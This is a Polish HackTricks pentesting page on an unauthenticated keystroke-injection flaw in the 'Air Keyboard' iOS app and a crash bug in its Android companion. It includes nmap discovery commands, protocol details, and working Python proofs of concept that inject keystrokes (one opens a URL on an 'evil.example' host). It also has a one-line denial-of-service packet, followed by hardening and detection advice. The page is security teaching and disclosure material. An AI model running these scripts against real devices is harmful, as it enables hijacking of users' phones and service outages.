hacktricks/src/mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md

173 lines
7.7 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Air Keyboard Remote Input Injection (Unauthenticated TCP / WebSocket Listener)
{{#include ../../banners/hacktricks-training.md}}
## TL;DR
Wersja iOS komercyjnej aplikacji **“Air Keyboard”** (ID w App Store 6463187929) udostępnia usługę w lokalnej sieci, która **akceptuje ramki naciśnięć klawiszy bez jakiejkolwiek autoryzacji lub weryfikacji pochodzenia**. W zależności od zainstalowanej wersji, usługa jest:
* **≤ 1.0.4** surowy nasłuch TCP na **porcie 8888**, który oczekuje nagłówka długości 2 bajtów, po którym następuje *device-id* i ładunek ASCII.
* **≥ 1.0.5 (czerwiec 2025)** nasłuch **WebSocket** na *tym samym* porcie (**8888**), który analizuje klucze **JSON** takie jak `{"type":1,"text":"…"}`.
Każde urządzenie w tej samej sieci Wi-Fi / podsieci może zatem **wstrzykiwać dowolne dane wejściowe z klawiatury do telefonu ofiary, osiągając pełne przejęcie zdalnej interakcji**. Towarzysząca wersja na Androida nasłuchuje na **porcie 55535**. Wykonuje słabe ręczne ustalenie AES-ECB, ale skonstruowane śmieci wciąż powodują **nieobsługiwany wyjątek w OpenSSL**, powodując awarię usługi w tle (**DoS**).
> Luka jest **nadal niezałatana w momencie pisania (lipiec 2025)**, a aplikacja pozostaje dostępna w App Store.
---
## 1. Odkrywanie usługi
Skanuj lokalną sieć i szukaj dwóch stałych portów używanych przez aplikacje:
```bash
# iOS (unauthenticated input-injection)
nmap -p 8888 --open 192.168.1.0/24
# Android (weakly-authenticated service)
nmap -p 55535 --open 192.168.1.0/24
```
Na urządzeniach z Androidem możesz zidentyfikować odpowiedni pakiet lokalnie:
```bash
adb shell netstat -tulpn | grep 55535 # no root required on emulator
# rooted device / Termux
netstat -tulpn | grep LISTEN
ls -l /proc/<PID>/cmdline # map PID → package name
```
Na **jailbroken iOS** możesz zrobić coś podobnego do `lsof -i -nP | grep LISTEN | grep 8888`.
---
## 2. Szczegóły protokołu (iOS)
### 2.1 Legacy (≤ 1.0.4) niestandardowe ramki binarne
```
[length (2 bytes little-endian)]
[device_id (1 byte)]
[payload ASCII keystrokes]
```
Zadeklarowana *długość* obejmuje bajt `device_id` **ale nie** sam nagłówek o długości dwóch bajtów.
### 2.2 Aktualna (≥ 1.0.5) JSON przez WebSocket
Wersja 1.0.5 cicho przeszła na WebSocket, zachowując niezmieniony numer portu. Minimalne naciśnięcie klawisza wygląda jak:
```json
{
"type": 1, // 1 = insert text, 2 = special key
"text": "open -a Calculator\n",
"mode": 0,
"shiftKey": false,
"selectionStart": 0,
"selectionEnd": 0
}
```
Brak handshake, tokenu ani podpisu pierwszy obiekt JSON już wyzwala zdarzenie UI.
---
## 3. Wykorzystanie PoC
### 3.1 Celowanie ≤ 1.0.4 (surowy TCP)
```python
#!/usr/bin/env python3
"""Inject arbitrary keystrokes into Air Keyboard ≤ 1.0.4 (TCP mode)"""
import socket, sys
target_ip = sys.argv[1] # e.g. 192.168.1.50
keystrokes = b"open -a Calculator\n" # payload visible to the user
frame = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8])
frame += b"\x01" # device_id = 1 (hard-coded)
frame += keystrokes
with socket.create_connection((target_ip, 8888)) as s:
s.sendall(frame)
print("[+] Injected", keystrokes)
```
### 3.2 Celowanie ≥ 1.0.5 (WebSocket)
```python
#!/usr/bin/env python3
"""Inject keystrokes into Air Keyboard ≥ 1.0.5 (WebSocket mode)"""
import json, sys, websocket # `pip install websocket-client`
target_ip = sys.argv[1]
ws = websocket.create_connection(f"ws://{target_ip}:8888")
ws.send(json.dumps({
"type": 1,
"text": "https://evil.example\n",
"mode": 0,
"shiftKey": False,
"selectionStart": 0,
"selectionEnd": 0
}))
ws.close()
print("[+] URL opened on target browser")
```
*Każdy drukowalny ASCII — w tym znaki nowej linii, tabulatory i większość klawiszy specjalnych — może być wysyłany, dając atakującemu tę samą moc co fizyczne wejście użytkownika: uruchamianie aplikacji, wysyłanie wiadomości, otwieranie złośliwych URL-i, przełączanie ustawień itp.*
---
## 4. Android Companion Denial-of-Service
Port Androida (55535) oczekuje **hasła o długości 4 znaków zaszyfrowanego za pomocą wbudowanego klucza AES-128-ECB**, po którym następuje losowy nonce. Błędy parsowania pojawiają się w `AES_decrypt()` i nie są wychwytywane, co kończy wątek nasłuchujący. Pojedynczy źle sformatowany pakiet wystarcza, aby utrzymać legalnych użytkowników odłączonych, aż proces zostanie ponownie uruchomiony.
```python
import socket
socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
```
---
## 5. Powiązane aplikacje powracający antywzorzec
Air Keyboard to **nie jest odosobniony przypadek**. Inne mobilne narzędzia „zdalna klawiatura/mysz” mają ten sam błąd:
* **Telepad ≤ 1.0.7** CVE-2022-45477/78 pozwala na nieautoryzowane wykonanie poleceń i rejestrowanie klawiszy w postaci czystego tekstu.
* **PC Keyboard ≤ 30** CVE-2022-45479/80 nieautoryzowane RCE i podsłuchiwanie ruchu.
* **Lazy Mouse ≤ 2.0.1** CVE-2022-45481/82/83 domyślnie bez hasła, słabe PIN-y, atak brute-force i wyciek w postaci czystego tekstu.
Te przypadki podkreślają systematyczne zaniedbanie **powierzchni ataku skierowanych na sieć w aplikacjach mobilnych**.
---
## 6. Przyczyny
1. **Brak kontroli pochodzenia / integralności** na przychodzących ramkach (iOS).
2. **Niewłaściwe użycie kryptografii** (klucz statyczny, ECB, brak walidacji długości) oraz **brak obsługi wyjątków** (Android).
3. **Uprawnienia przyznane przez użytkownika do lokalnej sieci ≠ bezpieczeństwo** iOS wymaga zgody w czasie rzeczywistym na ruch LAN, ale nie zastępuje to odpowiedniej autoryzacji.
---
## 7. Wzmocnienia i środki obronne
Zalecenia dla deweloperów:
* Powiąż nasłuchiwacz z **`127.0.0.1`** i tuneluj przez **mTLS** lub **Noise XX**, jeśli potrzebna jest zdalna kontrola.
* Wyprowadzaj **sekrety per urządzenie podczas onboardingu** (np. kod QR lub PIN parowania) i wymuszaj *wzajemną* autoryzację przed przetwarzaniem danych wejściowych.
* Przyjmij **Apple Network Framework** z *NWListener* + TLS zamiast surowych gniazd.
* Wprowadź **sprawdzanie długości prefiksu** i strukturalną obsługę wyjątków podczas deszyfrowania lub dekodowania ramek.
Szybkie wygrane dla zespołów Blue-/Red-Team:
* **Polowanie w sieci:** `sudo nmap -n -p 8888,55535 --open 192.168.0.0/16` lub filtr Wireshark `tcp.port == 8888`.
* **Inspekcja w czasie rzeczywistym:** Skrypt Frida podłączający `socket()`/`NWConnection`, aby wylistować nieoczekiwane nasłuchiwacze.
* **Raport prywatności aplikacji iOS (Ustawienia ▸ Prywatność i bezpieczeństwo ▸ Raport prywatności aplikacji)** podkreśla aplikacje, które kontaktują się z adresami LAN przydatne do wykrywania niepożądanych usług.
* **Mobilne EDR-y** mogą dodać proste reguły Yara-L dla kluczy JSON `"selectionStart"`, `"selectionEnd"` wewnątrz ładunków TCP w postaci czystego tekstu na porcie 8888.
---
## Arkusz oszustw detekcji (Pentesterzy)
```bash
# Locate vulnerable devices in a /24 and print IP + list of open risky ports
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - \
| awk '/Ports/{print $2 " " $4}'
# Inspect running sockets on a connected Android target
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do \
echo -n \"$p → \"; cat /proc/$p/cmdline; done"
```
---
## Odniesienia
- [Exploit-DB 52333 Air Keyboard iOS App 1.0.5 Remote Input Injection](https://www.exploit-db.com/exploits/52333)
- [Mobile-Hacker Blog (17 Jul 2025) Remote Input Injection Vulnerability in Air Keyboard iOS App Still Unpatched](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/)
{{#include ../../banners/hacktricks-training.md}}